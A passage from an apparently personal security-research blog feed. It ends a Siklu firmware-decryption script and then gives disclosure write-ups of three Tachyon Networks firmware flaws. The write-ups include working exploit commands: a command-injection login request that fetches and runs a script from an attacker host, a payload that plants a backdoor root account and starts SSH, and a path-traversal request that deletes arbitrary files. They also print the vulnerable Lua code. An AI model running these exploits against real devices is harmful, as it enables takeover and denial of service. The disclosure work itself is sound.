    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">in_file</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="c1"># Seek to the position 10 bytes before the end of the file
</span>        <span class="n">f</span><span class="p">.</span><span class="nf">seek</span><span class="p">(</span><span class="o">-</span><span class="mi">32</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>  <span class="c1"># 2 means to seek relative to the end of the file
</span>        
        <span class="c1"># Read the last 16 bytes
</span>        <span class="n">key_bytes</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">binascii</span><span class="p">.</span><span class="nf">hexlify</span><span class="p">(</span><span class="n">key_bytes</span><span class="p">).</span><span class="nf">decode</span><span class="p">(</span><span class="sh">'</span><span class="s">utf-8</span><span class="sh">'</span><span class="p">)</span>

<span class="c1"># Build full decryption key from base_key and key from input file
</span><span class="n">decrypt_key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span> <span class="n">base_key</span> <span class="o">+</span> <span class="nf">extract_key</span><span class="p">(</span><span class="n">input_file_path</span><span class="p">))</span>

<span class="c1"># Strip extra data from input file, produce valid OpenSSL encrypted file
</span><span class="nf">remove_last_48_bytes</span><span class="p">(</span><span class="n">input_file_path</span><span class="p">,</span> <span class="n">truncated_file_path</span><span class="p">)</span>

<span class="c1"># Execute OpenSSL and setup pipes to input key
</span><span class="n">openssl</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="nc">Popen</span><span class="p">(</span>
    <span class="p">[</span><span class="sh">'</span><span class="s">openssl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">enc</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-aes256</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-pass</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">stdin</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-md</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">md5</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-in</span><span class="sh">'</span><span class="p">,</span> <span class="n">truncated_file_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">-out</span><span class="sh">'</span><span class="p">,</span> <span class="n">output_file_path</span><span class="p">],</span>
    <span class="n">stdin</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span>
    <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span>
    <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span>
<span class="p">)</span>

<span class="c1"># Pass the byte data (password) to the openssl process via stdin
</span><span class="n">stdout</span><span class="p">,</span> <span class="n">stderr</span> <span class="o">=</span> <span class="n">openssl</span><span class="p">.</span><span class="nf">communicate</span><span class="p">(</span><span class="nb">input</span><span class="o">=</span><span class="n">decrypt_key</span><span class="p">)</span>

<span class="c1"># Optionally, print the stdout and stderr
</span><span class="nf">print</span><span class="p">(</span><span class="n">stdout</span><span class="p">.</span><span class="nf">decode</span><span class="p">())</span>  <span class="c1"># Decrypted output
</span><span class="nf">print</span><span class="p">(</span><span class="n">stderr</span><span class="p">.</span><span class="nf">decode</span><span class="p">())</span>  <span class="c1"># Any error messages
</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">Cleaning up truncated file </span><span class="si">{</span><span class="n">truncated_file_path</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="nf">remove</span><span class="p">(</span><span class="n">truncated_file_path</span><span class="p">)</span>

<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">Decrypted file saved to </span><span class="si">{</span><span class="n">output_file_path</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>
</code></pre></div></div>]]></content><author><name>Andrew</name></author><category term="research" /><category term="security" /><category term="siklu" /><category term="etherhaul" /><category term="investigation" /><summary type="html"><![CDATA[Overview In this post I wanted to dig into the methodology I used to understand how a vendor (Siklu) encrypts their firmware images, and from that hopefully extract the keys and reverse the process to enable easier analysis of firmware files.]]></summary></entry><entry><title type="html">Tachyon-Networks - Unauthenticated RCE</title><link href="/2024/09/15/tachyon-networks-unauthenticated-rce/" rel="alternate" type="text/html" title="Tachyon-Networks - Unauthenticated RCE" /><published>2024-09-15T00:00:00+09:30</published><updated>2024-09-15T00:00:00+09:30</updated><id>/2024/09/15/tachyon-networks-unauthenticated-rce</id><content type="html" xml:base="/2024/09/15/tachyon-networks-unauthenticated-rce/"><![CDATA[<h2 id="overview">Overview</h2>
<p>During the authentication process, if the device has RADIUS authentication enabled it is possible to perform a command injection due to incomplete sanitisation of user input within the RADIUS logic.</p>

<p>Using this vulnerability an unauthenticated user can execute any payload on the device.</p>

<p><strong>Note:</strong> If this is performed on a subscriber module, it may be possible to repeat the attack against the access point as the impacted firmware exposes the access point via the bridge interface.</p>

<h2 id="impacted-firmwares">Impacted Firmwares</h2>
<p>This has been tested on TNA-30X  firmware <strong>1.12.0 (beta 1)</strong> which introduces the RADIUS authentication system, older firmwares are not vulnerable.</p>

<p>This vulnerability only impacts configurations with RADIUS user authentication enabled.</p>

<h2 id="exploit-steps">Exploit Steps</h2>
<ol>
  <li>Prepare the desired payload in a file on the attack box, simply create the below <code class="language-console highlighter-rouge"><span class="go">payload.sh</span></code> file
<strong>payload.sh</strong>
    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'support:$1$6Hzch.yD$ULugJ982Yb1D0g8zhqv3T.:0:0:level=0,first_login=false:/:/bin/ash'</span> <span class="o">&gt;&gt;</span> /etc/passwd<span class="p">;</span> <span class="nb">rm</span> /etc/dropbear/dropbear_<span class="k">*</span><span class="p">;</span> dropbear <span class="nt">-R</span>
</code></pre></div>    </div>
  </li>
  <li>Start web server on the attack box  (<code class="language-console highlighter-rouge"><span class="go">python3 -m http.server 80</span></code>)</li>
  <li>Send the first stage (<code class="language-console highlighter-rouge"><span class="go">curl http://ATTACKIP/payload.sh | ash</span></code>) to <code class="language-console highlighter-rouge"><span class="go">/cgi.lua/login</span></code> http endpoint
    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-k</span> <span class="nt">-v</span> <span class="s1">'https://TARGETIP/cgi.lua/login'</span> <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">--data-raw</span> <span class="s1">'{"username":"root","password":"$(curl http://ATTACKIP/payload.sh | ash)"}'</span>
</code></pre></div>    </div>
  </li>
  <li>The example <code class="language-console highlighter-rouge"><span class="go">payload.sh</span></code> will have inserted a backdoor account called <code class="language-console highlighter-rouge"><span class="go">support</span></code> with the password <code class="language-console highlighter-rouge"><span class="go">admin</span></code>, and started a SSH server allowing for access using SSH with the credentials.</li>
</ol>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&gt;</span><span class="w"> </span>ssh support@192.168.1.1
<span class="go">Warning: Permanently added '192.168.1.1' (ECDSA) to the list of known hosts.
support@192.168.1.1's password: 


BusyBox v1.31.1 () built-in shell (ash)


___ ____ ____ _  _ _   _ ____ _  _    _  _ ____ ___ _ _ _ ____ ____ _  _ ____ ®
 |  |__| |    |__|  \_/  |  | |\ |    |\ | |___  |  | | | |  | |__/ |_/  [__  
 |  |  | |___ |  |   |   |__| | \|    | \| |___  |  |_|_| |__| |  \ | \_ ___]

Tachyon Networks® (c) 2020-2024
https://tachyon-networks.com

1.12.0 rev 54500
</span><span class="gp">root@tachyon-ptmp:~#</span><span class="w"> 
</span><span class="go">
</span></code></pre></div></div>

<h2 id="vulnerable-code">Vulnerable Code</h2>
<p>Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.</p>

<p><strong>authentication.lua</strong></p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Need to clear out backslashes first, then replace " and $ chars with escaped versions</span>
<span class="kd">local</span> <span class="k">function</span> <span class="nf">sh_ss_clean</span><span class="p">(</span><span class="n">str</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">str</span><span class="p">:</span><span class="nb">gsub</span><span class="p">(</span><span class="sr">"</span><span class="se">\\</span><span class="sr">"</span><span class="p">,</span> <span class="sr">"</span><span class="se">\\\\</span><span class="sr">"</span><span class="p">):</span><span class="nb">gsub</span><span class="p">(</span><span class="sr">"</span><span class="se">\"</span><span class="sr">"</span><span class="p">,</span> <span class="sr">"</span><span class="se">\\\"</span><span class="sr">"</span><span class="p">):</span><span class="nb">gsub</span><span class="p">(</span><span class="sr">"</span><span class="se">[</span><span class="sr">$</span><span class="se">]</span><span class="sr">"</span><span class="p">,</span> <span class="sr">"</span><span class="se">\\</span><span class="sr">$"</span><span class="p">)</span>  
<span class="k">end</span>

<span class="kd">local</span> <span class="k">function</span> <span class="nf">sh_param_clean</span><span class="p">(</span><span class="n">str</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">str</span><span class="p">:</span><span class="nb">gsub</span><span class="p">(</span><span class="sr">"</span><span class="se">\\</span><span class="sr">"</span><span class="p">,</span> <span class="sr">"</span><span class="se">\\\\</span><span class="sr">"</span><span class="p">):</span><span class="nb">gsub</span><span class="p">(</span><span class="sr">"'"</span><span class="p">,</span> <span class="sr">"</span><span class="se">\\</span><span class="sr">'"</span><span class="p">):</span><span class="nb">gsub</span><span class="p">(</span><span class="sr">"</span><span class="se">\"</span><span class="sr">"</span><span class="p">,</span> <span class="sr">"</span><span class="se">\\\"</span><span class="sr">"</span><span class="p">)</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="k">function</span> <span class="nf">radius_auth</span><span class="p">(</span><span class="n">address</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">pass</span><span class="p">,</span> <span class="n">rad_params</span><span class="p">)</span>
        <span class="kd">local</span> <span class="n">res</span> <span class="o">=</span> <span class="p">{</span>
                <span class="n">success</span> <span class="o">=</span> <span class="kc">false</span><span class="p">,</span>
                <span class="n">method</span> <span class="o">=</span> <span class="s2">"radius"</span><span class="p">,</span>
                <span class="n">timeout</span> <span class="o">=</span> <span class="kc">false</span>
        <span class="p">}</span>
        
        <span class="kd">local</span> <span class="n">cmd</span> <span class="o">=</span> <span class="nb">string.format</span><span class="p">(</span>
                <span class="s1">'printf %%s "User-Name=\'</span><span class="o">%</span><span class="n">s</span><span class="err">\</span><span class="s1">',User-Password=\'</span><span class="o">%</span><span class="n">s</span><span class="err">\</span><span class="s1">'" | '</span> <span class="o">..</span>
                 <span class="s1">' /usr/bin/radclient -F -r 1 %s:%d auth "%s" 2&gt;&amp;1'</span><span class="p">,</span>
                <span class="n">sh_param_clean</span><span class="p">(</span><span class="n">name</span><span class="p">),</span> 
                <span class="n">sh_param_clean</span><span class="p">(</span><span class="n">pass</span><span class="p">),</span> 
                <span class="n">sh_ss_clean</span><span class="p">(</span><span class="n">rad_params</span><span class="p">.</span><span class="n">auth_server1</span> <span class="ow">or</span> <span class="s2">""</span><span class="p">),</span> 
                <span class="nb">tonumber</span><span class="p">(</span><span class="n">rad_params</span><span class="p">.</span><span class="n">auth_port</span><span class="p">)</span> <span class="ow">or</span> <span class="mi">1812</span><span class="p">,</span> 
                <span class="n">sh_ss_clean</span><span class="p">(</span><span class="n">rad_params</span><span class="p">.</span><span class="n">auth_secret</span> <span class="ow">or</span> <span class="s2">""</span><span class="p">))</span>
        <span class="kd">local</span> <span class="n">results</span> <span class="o">=</span> <span class="n">sysio</span><span class="p">.</span><span class="n">read_pipe</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="outcomes">Outcomes</h2>
<p>After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.</p>

<p>No CVE IDs have been assigned as of this post.</p>

<p><strong>Affected Products:</strong></p>

<p>Tachyon-Network TNA and TNS series devices</p>

<p><strong>Mitigation:</strong></p>

<p>Update impacted devices to <strong>Version 1.11.5 or later</strong>.</p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="cve" /><category term="security" /><category term="tachyon-networks" /><category term="disclosure" /><summary type="html"><![CDATA[Overview During the authentication process, if the device has RADIUS authentication enabled it is possible to perform a command injection due to incomplete sanitisation of user input within the RADIUS logic.]]></summary></entry><entry><title type="html">Tachyon-Networks - Authenticated RCE</title><link href="/2024/09/08/tachyon-networks-authenticated-rce/" rel="alternate" type="text/html" title="Tachyon-Networks - Authenticated RCE" /><published>2024-09-08T00:00:00+09:30</published><updated>2024-09-08T00:00:00+09:30</updated><id>/2024/09/08/tachyon-networks-authenticated-rce</id><content type="html" xml:base="/2024/09/08/tachyon-networks-authenticated-rce/"><![CDATA[<h2 id="overview">Overview</h2>
<p>Incomplete sanitisation of inputs from an authenticated user with admin privilege can perform remote command execution.</p>

<p>Whilst an “admin” user is already privileged, the ability to perform RCE allows for potential backdoor persistence to be established as the underlying OS is not exposed during normal operation.</p>

<p>For example if a threat actor was able to successfully authenticate (eg. default credentials, or insider threat) they could launch the Dropbear SSH service to gain full shell access, implanting persistent authentication tokens or backdoor accounts.</p>

<h2 id="impacted-firmwares">Impacted Firmwares</h2>
<p>This has been tested on TNA-30X firmwares <strong>1.11.4</strong> and <strong>1.12.0 (beta 1)</strong> with both being vulnerable, older firmwares are also likely to be impacted</p>

<h2 id="vulnerable-http-endpoints">Vulnerable HTTP Endpoints</h2>

<p>Below are the known vulnerable endpoints, this may not be a complete list</p>

<p>Substitute <code class="language-console highlighter-rouge"><span class="go">PAYLOAD</span></code> with the desired command to execute</p>

<table>
  <thead>
    <tr>
      <th>Endpoint</th>
      <th>HTTP Method</th>
      <th>Payload</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-console highlighter-rouge"><span class="go">/cgi.lua/traceroute</span></code></td>
      <td><code class="language-console highlighter-rouge"><span class="go">POST</span></code></td>
      <td><code class="language-console highlighter-rouge"><span class="gp">{"ip_address":"$</span><span class="o">(</span>PAYLOAD<span class="o">)</span><span class="s2">","</span>selected_ip<span class="s2">":"</span>IPv4<span class="s2">"}</span></code></td>
    </tr>
    <tr>
      <td><code class="language-console highlighter-rouge"><span class="go">/cgi.lua/ping</span></code></td>
      <td><code class="language-console highlighter-rouge"><span class="go">POST</span></code></td>
      <td><code class="language-console highlighter-rouge"><span class="gp">{"ip_address":"$</span><span class="o">(</span>PAYLOAD<span class="o">)</span><span class="s2">","</span>count<span class="s2">":3,"</span>selected_ip<span class="s2">":"</span>1.1.1.1<span class="s2">"}</span></code></td>
    </tr>
    <tr>
      <td><code class="language-console highlighter-rouge"><span class="go">/cgi.lua/speedtest</span></code></td>
      <td><code class="language-console highlighter-rouge"><span class="go">POST</span></code></td>
      <td><code class="language-console highlighter-rouge"><span class="gp">{"mac": "00:00:00:00:00:00", "remote_mac": "00:00:00:00:00:00", "remote_interface": "eth0", "direction": "remote", "interface": "$</span><span class="o">(</span>PAYLOAD<span class="o">)</span><span class="s2">"}</span></code></td>
    </tr>
  </tbody>
</table>

<h2 id="exploit-steps">Exploit Steps</h2>
<ol>
  <li>Authenticate to the target device via the <code class="language-console highlighter-rouge"><span class="go">/cgi.lau/login</span></code> http endpoint, retrieving the token from the cookie header
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-k</span> <span class="nt">-v</span> <span class="s1">'https://192.168.1.1/cgi.lua/login'</span> <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">--data-raw</span> <span class="s1">'{"username":"root","password":"admin"}'</span>
Note: Unnecessary use of <span class="nt">-X</span> or <span class="nt">--request</span>, POST is already inferred.
<span class="k">*</span>   Trying 192.168.1.1:443...
<span class="k">*</span> Connected to 192.168.1.1 <span class="o">(</span>192.168.1.1<span class="o">)</span> port 443
...
<span class="o">&gt;</span> POST /cgi.lua/login HTTP/1.1
<span class="o">&gt;</span> Host: 192.168.1.1
...
&lt; HTTP/1.1 200 OK
...
&lt; Set-Cookie: <span class="nv">token</span><span class="o">=</span>BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU<span class="p">;</span> <span class="nv">path</span><span class="o">=</span>/
...
<span class="k">*</span> Connection <span class="c">#0 to host 192.168.1.1 left intact</span>
<span class="o">{</span><span class="s2">"level"</span>:0,<span class="s2">"first_login"</span>:false,<span class="s2">"auth"</span>:true<span class="o">}</span>% 
</code></pre></div>    </div>
  </li>
  <li>Execute payload with one of the vulnerable http endpoints, using the token obtained in the previous step
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">PAYLOAD</span><span class="o">=</span><span class="s2">"touch /rooted"</span><span class="p">;</span>
<span class="nv">TOKEN</span><span class="o">=</span><span class="s2">"BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU"</span><span class="p">;</span>
<span class="nv">TARGET</span><span class="o">=</span><span class="s2">"192.168.1.1"</span><span class="p">;</span>
curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'POST'</span> <span class="se">\</span>
 <span class="nt">-H</span> <span class="s2">"Host: </span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="nt">-H</span> <span class="s1">$'Content-Length: 56'</span> <span class="se">\</span>
 <span class="nt">-b</span> <span class="s2">"token=</span><span class="nv">$TOKEN</span><span class="s2">"</span> <span class="se">\</span>
 <span class="nt">--data-binary</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">ip_address</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"\$</span><span class="s2">(</span><span class="nv">$PAYLOAD</span><span class="s2">)</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">selected_ip</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">IPv4</span><span class="se">\"</span><span class="s2">}"</span> <span class="se">\</span>
 <span class="s2">"https://</span><span class="nv">$TARGET</span><span class="s2">/cgi.lua/traceroute"</span>
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="vulnerable-code">Vulnerable Code</h2>
<p>Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.</p>

<p><strong>ping.lua</strong></p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="k">function</span> <span class="nf">execute_ping</span><span class="p">(</span><span class="n">ip_address</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">selected_ip</span><span class="p">)</span>
	<span class="kd">local</span> <span class="n">command</span>
	<span class="k">if</span> <span class="n">selected_ip</span> <span class="o">==</span> <span class="s2">"IPv6"</span> <span class="k">then</span>
		<span class="n">command</span> <span class="o">=</span> <span class="nb">string.format</span><span class="p">(</span><span class="s2">"busybox ping6 -c %u \"</span><span class="o">%</span><span class="n">s</span><span class="err">\</span><span class="s2">""</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">)</span>
	<span class="k">else</span>
		<span class="n">command</span> <span class="o">=</span> <span class="nb">string.format</span><span class="p">(</span><span class="s2">"busybox ping -c %u \"</span><span class="o">%</span><span class="n">s</span><span class="err">\</span><span class="s2">""</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">)</span>
	<span class="k">end</span>
	<span class="k">return</span> <span class="n">wsutils</span><span class="p">.</span><span class="n">read_pipe_to_event</span><span class="p">(</span><span class="s2">"ping-out"</span><span class="p">,</span> <span class="n">command</span><span class="p">)</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="k">function</span> <span class="nf">ping_callback</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span> <span class="c1">-- luacheck: no unused args</span>
	<span class="kd">local</span> <span class="n">ip_address</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">selected_ip</span><span class="p">,</span> <span class="n">message_body</span>

	<span class="k">if</span> <span class="n">req</span><span class="p">.</span><span class="n">method</span> <span class="o">~=</span> <span class="s2">"POST"</span> <span class="k">then</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">404</span><span class="p">,</span> <span class="s2">"No service"</span>
	<span class="k">end</span>

	<span class="n">message_body</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">req</span><span class="p">.</span><span class="n">POST</span><span class="p">.</span><span class="n">post_data</span><span class="p">)</span>
	<span class="k">if</span> <span class="ow">not</span> <span class="n">message_body</span> <span class="k">then</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="s2">"Bad request - invalid content"</span>
	<span class="k">end</span>

	<span class="n">selected_ip</span> <span class="o">=</span> <span class="n">common</span><span class="p">.</span><span class="n">escape_double_quotes</span><span class="p">(</span><span class="n">message_body</span><span class="p">.</span><span class="n">selected_ip</span><span class="p">)</span>
	<span class="n">ip_address</span> <span class="o">=</span> <span class="n">common</span><span class="p">.</span><span class="n">escape_double_quotes</span><span class="p">(</span><span class="n">message_body</span><span class="p">.</span><span class="n">ip_address</span><span class="p">)</span>

	<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">ip_address</span><span class="p">)</span> <span class="o">~=</span> <span class="s2">"string"</span> <span class="k">then</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="s2">"No IP address provided"</span>
	<span class="k">end</span>

	<span class="n">count</span> <span class="o">=</span> <span class="n">common</span><span class="p">.</span><span class="n">escape_double_quotes</span><span class="p">(</span><span class="n">message_body</span><span class="p">.</span><span class="n">count</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">count</span> <span class="k">then</span>
		<span class="k">if</span> <span class="nb">tonumber</span><span class="p">(</span><span class="n">count</span><span class="p">)</span> <span class="k">then</span>
			<span class="n">count</span> <span class="o">=</span> <span class="nb">tonumber</span><span class="p">(</span><span class="n">count</span><span class="p">)</span>
		<span class="k">else</span>
			<span class="k">return</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="s2">"Ping iterations count must be a number"</span>
		<span class="k">end</span>
	<span class="k">else</span>
		<span class="n">count</span> <span class="o">=</span> <span class="mi">3</span>
	<span class="k">end</span>

	<span class="k">return</span> <span class="n">process</span><span class="p">.</span><span class="n">bgcall</span><span class="p">(</span><span class="n">execute_ping</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">selected_ip</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>

<h2 id="outcomes">Outcomes</h2>
<p>After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.</p>

<p>No CVE IDs have been assigned as of this post.</p>

<p><strong>Affected Products:</strong></p>

<p>Tachyon-Network TNA and TNS series devices</p>

<p><strong>Mitigation:</strong></p>

<p>Update impacted devices to <strong>Version 1.11.5 or later</strong>.</p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="cve" /><category term="security" /><category term="tachyon-networks" /><category term="disclosure" /><summary type="html"><![CDATA[Overview Incomplete sanitisation of inputs from an authenticated user with admin privilege can perform remote command execution.]]></summary></entry><entry><title type="html">Tachyon-Networks - Unauthenticated File Deletion Vulnerability</title><link href="/2024/09/01/tachyon-networks-unauthenticated-file-deletion/" rel="alternate" type="text/html" title="Tachyon-Networks - Unauthenticated File Deletion Vulnerability" /><published>2024-09-01T00:00:00+09:30</published><updated>2024-09-01T00:00:00+09:30</updated><id>/2024/09/01/tachyon-networks-unauthenticated-file-deletion</id><content type="html" xml:base="/2024/09/01/tachyon-networks-unauthenticated-file-deletion/"><![CDATA[<h2 id="overview">Overview</h2>
<p>HTTP DELETE requests to the login http endpoint <code class="language-console highlighter-rouge"><span class="go">/cgi.lua/login</span></code> does not perform validation of token, allowing for any file to be deleted if supplied as a token (eg. <code class="language-console highlighter-rouge"><span class="go">TOKEN=../../../../etc/passwd</span></code>)</p>

<p>This vulnerability could be used to perform a denial of service by crashing / bricking or locking authorised users out of the device.</p>

<h2 id="impacted-firmwares">Impacted Firmwares</h2>
<p>This has been tested on TNA-30X firmwares <strong>1.11.4</strong> and <strong>1.12.0 (beta 1)</strong> with both being vulnerable, older firmwares are also likely to be impacted</p>

<h2 id="exploit-steps">Exploit Steps</h2>

<p>Run the below payload to delete the intended file</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">FILE_TO_DELETE</span><span class="o">=</span><span class="s2">"../../../../tmp/etc/http/web-plain.json"</span><span class="p">;</span>
<span class="nv">TARGET</span><span class="o">=</span><span class="s2">"192.168.1.1"</span><span class="p">;</span>
curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'DELETE'</span> <span class="se">\</span>
    <span class="nt">-H</span> <span class="s2">"Host: </span><span class="nv">$TARGET</span><span class="s2">"</span> <span class="se">\</span>
    <span class="nt">-b</span> <span class="s2">"token=</span><span class="nv">$FILE_TO_DELETE</span><span class="s2">"</span> <span class="se">\</span>
    <span class="s2">"https://</span><span class="nv">$TARGET</span><span class="s2">/cgi.lua/login"</span>
</code></pre></div></div>

<h2 id="vulnerable-code">Vulnerable Code</h2>
<p>Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.</p>

<p><strong>login.lua</strong></p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">--- Clears user authentication.</span>
<span class="c1">-- DELETE */login</span>
<span class="c1">-- Request params: no parms</span>
<span class="c1">-- Response:</span>
<span class="c1">-- - empty body (status code 204) on success,</span>
<span class="c1">-- - error message on failure.</span>
<span class="kd">local</span> <span class="k">function</span> <span class="nf">auth_logout</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
	<span class="kd">local</span> <span class="n">token</span> <span class="o">=</span> <span class="n">req</span><span class="p">.</span><span class="n">cookies</span><span class="p">[</span><span class="s2">"api_token"</span><span class="p">]</span>
	<span class="k">if</span> <span class="ow">not</span> <span class="n">token</span> <span class="k">then</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="s2">"Token cookie is missing"</span>
	<span class="k">end</span>

	<span class="n">session</span><span class="p">.</span><span class="n">delete_session</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
	<span class="n">security</span><span class="p">.</span><span class="n">erase_token</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>

	<span class="k">return</span> <span class="p">{</span> <span class="n">status</span> <span class="o">=</span> <span class="s2">"ok"</span> <span class="p">}</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="k">function</span> <span class="nf">login</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">req</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s2">"GET"</span> <span class="k">then</span>
		<span class="k">return</span> <span class="n">auth_get</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
	<span class="k">elseif</span> <span class="n">req</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s2">"POST"</span> <span class="k">then</span>
		<span class="k">return</span> <span class="n">auth_login</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
	<span class="k">elseif</span> <span class="n">req</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s2">"DELETE"</span> <span class="k">then</span>
		<span class="k">return</span> <span class="n">auth_logout</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
	<span class="k">else</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">404</span><span class="p">,</span> <span class="s2">"No service"</span>
	<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p><strong>session.lua</strong></p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">--- Delete existing web session.</span>
<span class="c1">-- Checks and removes active session</span>
<span class="c1">-- @param session_id Session ID to look for</span>
<span class="kd">local</span> <span class="k">function</span> <span class="nf">del_session</span><span class="p">(</span><span class="n">session_id</span><span class="p">)</span>
	<span class="kd">local</span> <span class="n">session_file</span> <span class="o">=</span> <span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">SESSION_DIR</span><span class="p">,</span> <span class="n">session_id</span><span class="p">)</span>
	<span class="k">if</span> <span class="ow">not</span> <span class="n">path</span><span class="p">.</span><span class="n">is_file</span><span class="p">(</span><span class="n">session_file</span><span class="p">)</span> <span class="k">then</span>
		<span class="k">return</span>
	<span class="k">end</span>

	<span class="n">sysio</span><span class="p">.</span><span class="n">remove_file</span><span class="p">(</span><span class="n">session_file</span><span class="p">)</span>
<span class="k">end</span>

